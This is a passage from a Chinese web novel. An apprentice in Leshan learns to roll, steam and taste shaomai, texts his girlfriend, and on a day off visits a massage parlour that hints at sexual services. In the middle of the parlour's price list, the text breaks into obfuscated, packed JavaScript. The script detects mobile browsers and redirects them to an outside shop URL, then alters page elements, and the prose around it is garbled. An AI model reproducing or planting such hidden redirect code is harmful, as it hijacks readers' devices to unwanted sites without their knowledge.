外面天渐渐亮了。街上开始有人声。店里飘进来包子的香味。 他没顾上吃。 继续擀。 擀到中午,那堆剂子终于快见底了。他停下来,活动了一下肩膀。肩膀咔咔响了两声。 杨师傅走过来,看了看他擀的那些皮。一堆堆在案板上,薄薄的,透亮的,边缘带着荷叶边。 他拿起几个看了看。 “这几个可以。这几个还得练。” 他又拿起一个,对着灯照。 “这个最好。你记住这个感觉。” 付博凑过去看。那个皮确实好,薄厚均匀,边缘褶皱细密,像一朵花。 杨师傅把皮放下。 “下午继续。明天还练。” 付博点点头。 “好。” 下午继续擀。 新的一盆剂子,又是七八十个。 他这回上手快了点。第一个就擀得不错。第二个也行。第三个差一点,但能看。 他越擀越顺,越擀越快。手和擀面杖好像慢慢熟了,知道对方在想什么。 杨师傅过来看了一眼,没说话,走了。 傍晚收工的时候,他数了数,今天擀了快两百个皮。 胳膊抬不起来,手腕肿了一圈,手指头都磨红了。 但他看着那些皮,心里有点高兴。 虽然大多数还得练。 但有几个,真的不错。 晚上回去,他躺在床上,给许清发消息。 付博:今天学擀皮,要改成花边,荷叶边裙的那种。。手快废了。 许清很快回了。 许清:擀皮? 付博:嗯。用橄榄杖擀,它的形状有点像你们女孩子的荷叶边裙,它不像是那种饺子皮是平的。它只是中间是平的,它的一个圆形的话,要把它改成花边,起翘的那种。累死了……哭哭(*?????) 许清:那你好好休息【抱抱】 付博:杨师傅说我擀得还行。有几个擀得不错【憨笑:-D】 许清:真的?那你厉害啊??。 付博:那当然【嗤笑】。以后开店,我擀皮,你收钱【嘻嘻】。 许清:好。我等着【偷笑】。 他看着这行字,笑了。 放下手机,胳膊搭在床边,不想动了。 窗外,乐山的夜很安静。 偶尔有狗叫,远远的。 他闭上眼睛。 想着以后。 想着她。 想着那些擀得越来越好的皮…… 43.信赖利益12 第七天凌晨,付博终于等到蒸烧麦的日子。 前六天他学会了剁馅,学会了擀皮,学会了包制。那些烧麦他包得歪歪扭扭的,有的像包子,有的像饺子,有的什么都不像。杨师傅看了直摇头,说你这手是跟脚长的吧。 但今天不一样。今天要上笼蒸了。 杨师傅站在蒸笼前面,背着手,看着那一排排包好的烧麦。天还没亮透,店里的灯黄黄的,照着那些烧麦,像一个个小元宝。 “乐山烧麦,蒸是最后一道关。”杨师傅开口了,声音不紧不慢,“前面剁得再好,擀得再好,包得再好,蒸不好,全白搭。” 付博站在旁边,手心冒汗。 杨师傅掀开蒸笼盖,露出里面的竹屉。屉上铺着一层松针,洗得干干净净的,泛着深绿色。 “松针铺底,一是防粘,二是增香。这是老规矩,不能省。” 他伸手摸了摸松针,确定铺均匀了,然后从旁边端过一碟油,拿刷子蘸了,在松针上薄薄刷了一层。 “刷油,也是防粘。烧麦皮薄,一粘就破。破了就废了。” 付博点头,眼睛盯着他的手。 杨师傅放下油碟,开始往蒸笼里摆烧麦。 他的动作很慢,很稳。一个一个,间隔均匀,像在摆棋子。烧麦底朝下,口朝上,那荷叶边的裙摆在灯下透亮,能隐约看见里面的肉馅。 “间距不能太密。太密了蒸的时候胀开,挤在一起,皮就破了。太疏了浪费火。像这样,一指宽,刚刚好。” 付博看着那些烧麦,一排一排,整整齐齐。他想起自己包的那些,歪瓜裂枣似的,不知道能不能拿得出手。 杨师傅摆完一屉,盖上盖子。又摆第二屉。 摆了四屉,烧麦都进去了。杨师傅直起腰,看了付博一眼。 “烧麦蒸两遍,知道为什么吗?” 付博摇头。 “第一遍定型,第二遍熟透。中间要喷一次水,让皮子保持湿润,蒸出来才透亮,才叫玻璃烧麦。” 他走到灶台边,把蒸笼摞上去。最下面那屉离水最近,最上面那屉离水最远。他看了看,调整了一下位置。 “火候有讲究。大火上汽,中火蒸制。汽太猛了皮子容易裂,汽太小了熟不透。” 他点燃灶火。呼的一声,火苗蹿起来,舔着锅底。 锅里的水早就烧开了,热气往上涌。蒸笼很快开始冒白汽,丝丝缕缕的,带着松针的清香。 杨师傅掏出怀表,看了一眼。 “三分钟。第一遍三分钟。” 他站在那里,盯着蒸笼,一动不动。付博站在旁边,也盯着蒸笼,不敢动。 白汽越来越浓,把整个灶台都笼罩了。松针的香味混着肉香,钻进鼻子里。付博闻着那味道,肚子咕噜响了一声。 三分钟到。 杨师傅掀开蒸笼盖。白汽猛地冲出来,模糊了他的脸。 他伸手进去,拿起一个烧麦。那烧麦已经定型了,但还没熟透,皮子微微泛着白。 他从旁边拿起一个小喷壶,对着那一屉烧麦,开始喷水。 呲——呲——呲—— 水雾细细的,均匀地落在每一个烧麦上。皮子被水一喷,立刻变得透亮,能看见里面粉色的肉馅,还有星星点点的胡椒粒。 “喷水不能多,多了皮子烂。不能少,少了不透亮。像这样,薄薄一层,刚刚好。” 他喷完一屉,盖上盖子。接着喷第二屉,第三屉,第四屉。 全部喷完,他盖上最上面的盖子,又看了一眼怀表。 “再蒸十二分钟。总共十五分钟。” 付博咽了口唾沫。 “杨师傅,我能尝尝不?” 杨师傅看了他一眼,笑了。 “等熟了再说。” 接下来的十二分钟,过得特别慢。 付博盯着蒸笼,看着白汽一缕一缕冒出来。那香味越来越浓,越来越勾人。不只是肉香,还有松针的清香,胡椒的辛香,还有一股说不上来的味道——那是面皮蒸透之后特有的麦香。 他的肚子又叫了一声。 杨师傅听见了,没说话,只是笑。 十二分钟到。 杨师傅掀开盖子。这一回,白汽散去之后,露出来的烧麦完全变了样。 皮子透亮得像玻璃,能清清楚楚看见里面的肉馅。那肉馅紧实地抱成一团,泛着油光,隐约能看见葱花和姜末的影子。边缘的荷叶边舒展开来,像一朵朵盛开的花。 杨师傅拿起一个,对着灯照了照。那烧麦晶莹剔透,像玉雕的。 “成了。这叫玻璃烧麦。” 他把那个烧麦递给付博。 “尝尝。” 付博接过来,烫得直换手。吹了吹,咬了一口。 第一口下去,皮子薄得几乎没有存在感,软软的,糯糯的,带着松针的清香。然后是肉馅,紧实弹牙,鲜嫩多汁。肉的鲜,葱的香,胡椒的辣,各种味道在嘴里炸开。汁水溢出来,烫得他直哈气,但舍不得停。 他又咬了一口。 这一口咬到了肉馅里的肥肉丁。那肥肉蒸透了,入口即化,一点都不腻,反而让整个肉馅更加滋润。 他三两口吃完了一个,还想再吃。 杨师傅看着他,笑了。 “怎么样?” “好吃。太好吃了。” 杨师傅点点头。 “明天你蒸。” 付博愣了一下。 “我?” “嗯。你包的你蒸。蒸坏了你自己吃。” 那天上午,付博蒸了三笼烧麦。 第一笼,火太大了。刚蒸三分钟,皮子就裂了好几处。喷水也救不回来。杨师傅说,废了。 第二笼,喷水没喷匀。有的地方干了,有的地方湿了。蒸出来透亮度不一样,花一块白一块的。杨师傅说,难看。 第三笼,他稳住了。火候正好,喷水均匀,时间掐得准。蒸出来的烧麦,虽然不如杨师傅的透亮,但也能看见里面的馅。 杨师傅拿起一个看了看,咬了一口。 嚼了嚼,点点头。 “能吃了。” 付博愣了一下。 “就……能吃了?” “嗯。能吃了。离好吃还差得远。”杨师傅把剩下的半个吃完,“明天继续。” 那天中午,付博吃了自己蒸的烧麦。 虽然有的裂了皮,有的花了脸,但他吃得特别香。 吃完,他给许清发消息。 付博:今天蒸烧麦了。 许清很快回了。 许清:好吃吗? 付博:好吃。我自己蒸的。 许清:真的?那你厉害啊。 付博:杨师傅说能吃了。 许清:什么叫能吃了? 付博:就是能吃了。离好吃还差得远。 许清发了个偷笑的表情。 许清:那你继续努力。等你回来蒸给我吃。 付博:好。我记住了。 放下手机,他看着那笼剩下的烧麦。 皮子透亮,肉馅饱满,冒着热气…… 那天是周日。 杨师傅难得开恩,说你这半个月累坏了,放天假,出去逛逛。付博听完愣了一下,差点没反应过来。天天凌晨四点半起床,天天揉面剁馅擀皮包烧麦,天天蒸两遍喷水,他已经忘了周末是什么东西。 回到住的地方,他躺在床上,浑身酸疼。胳膊抬不起来,腰也疼,肩膀像扛了两袋水泥。他翻了个身,骨头咔咔响了两声。 得找个地方按按。 他掏出手机搜了搜,附近有家按摩馆,评分还行,走路十分钟。他穿上衣服,出门。 乐山的街道弯弯绕绕的,两边都是老房子。他跟着导航走,拐进一条巷子,巷子口有个卖豆花的摊子,热气腾腾的。他看了一眼,想着回来再吃,继续往前走。 按摩馆在巷子深处,门脸不大,装修倒是挺新。玻璃门上贴着几个大字——**康乐养生**,旁边还有一行小字:专业推拿、足疗、SPA。 他推门进去。 里面暖烘烘的,一股熏香味。前台站着一个女孩,长得挺好看,白白净净的,穿着旗袍,笑着看他。 “先生您好,按摩还是足疗?” 付博挠挠头。 “按摩。身上酸,想按按。” 女孩点点头,从柜台后面走出来,引着他往里走。 “这边请。您先坐一下,我给您安排技师。” 他跟着进去,是一个小厅,摆着几张沙发,墙上挂着几幅山水画。沙发上坐着几个穿制服的服务员,有男有女,见他进来,都抬头看了一眼。 他在沙发上坐下,那个旗袍女孩没走,站在旁边,递过来一张单子。 “先生,这是我们这边的套餐,您看一下。” 付博接过来,低头看。 单子上印着几行字: **经典推拿:98元/60分钟** **全身经络:198元/90分钟** **VIP尊享:298元/120分钟** **至尊贵宾:398元/150分钟**< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348864|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>**帝王套餐:898元/180分钟** 他看着最后那几个,愣了一下。 “这……这么贵?” 女孩笑了,笑得有点意味深长。 “先生,贵的套餐服务不一样。我们这边有专门的……技师,手法特别好,能按到您舒服。” 付博没听懂,但隐隐觉得哪里不对。 “我就按个普通的就行。98那个。” 女孩看了他一眼,笑容没变,但眼神里有点什么。 “好的。那您稍等,我给您安排。” 她转身走了。 付博坐在沙发上,等了几分钟。期间有几个客人从里面出来,有的穿着西装,有的穿得随便。有一个胖子经过他身边,拍了拍肚子,心满意足的样子。 过了一会儿,一个穿工服的阿姨出来了,四十来岁,短发,看着挺利索。 “先生,跟我来。” 他跟着阿姨往里走。走廊两边是一间间包厢,门关着,有的里面传出说话声,有的很安静。走到最里面,阿姨推开一扇门。 “您在这边等,我去准备东西。” 房间不大,一张按摩床,一个洗手池,墙上挂着一台电视。他躺上去,等着。 阿姨很快回来了,端着一盆热水,拿着毛巾。 “哪儿不舒服?” “全身。胳膊、腰、肩膀,都酸。” 阿姨点点头。 “你这是干活累的吧?搬东西还是训练?” “学做烧麦。揉面揉的。” 阿姨笑了。 “烧麦?哪家店?” “杨记。” “哦,那家老字号。累是累,学成了手艺是自己的。” 她开始按。手法很重,但很准,按到他酸疼的地方,疼得他龇牙咧嘴。 “忍一忍,头几次都这样。按开了就好了。” 他咬着牙,忍着。 按了半小时,阿姨停下来,让他翻个身。 “趴着。” 他翻过去,脸朝下,埋在那个洞里。阿姨继续按他的背,从肩膀到腰,从腰到腿。 “小伙子,你结婚没?” “没。” “有对象?” “有。” 阿姨笑了。 “那正好。按完回去找对象,包你浑身轻松。” 他趴在那儿,没说话。 又按了半小时,结束了。他坐起来,活动了一下肩膀,确实松快了不少。 “谢谢阿姨。” “客气了。下次还来的话,提前说,我给你留时间。” 他点点头,走出去。 走廊还是那么安静,包厢的门还是关着。他往外走,路过一间包厢的时候,门突然开了条缝,里面传出一个女人的笑声,很轻,有点嗲。 他下意识看了一眼。 门缝里,隐约能看见一个女人,穿着旗袍,裙子很短。她弯着腰,好像在拿什么东西。里面还有一个男人,躺在按摩床上,只穿着一条短裤。 门很快关上了。 他愣了一下,继续往前走。 走到前台,那个旗袍女孩还在,看见他,笑着问。 “先生,按得怎么样?” “还行。” “下次可以试试我们的尊享套餐,服务更好。” 她递过来一张名片,上面印着几个字——康乐养生,您的私人放松空间。下面还有个微信号。 他接过来,随手放进口袋里。 走出门,外面的阳光有点刺眼。巷子里那个豆花摊还在,热气腾腾的。他走过去,要了一碗。 豆花很嫩,浇上红油,撒上葱花,香得很。他蹲在路边,呼噜呼噜吃完了。 吃完站起来,拍拍裤子。 往回走的路上,他掏出手机,给许清发消息。 付博:今天放假,去按了个摩。 许清很快回了。 许清:按摩? 付博:嗯。浑身酸,找个地方按按。 许清:怎么样? 付博:还行。阿姨按得挺重的。 许清:那就好。好好休息。 付博:嗯。你干嘛呢? 许清:加班。晚上回去跟你说。 他看着这行字,收起手机。 走回住的地方,躺在床上。 脑子里突然闪过那个门缝里的画面。 那个女人的笑声,那个穿短裤的男人。 他皱了皱眉,翻了个身。 应该就是普通的按摩吧。 他想……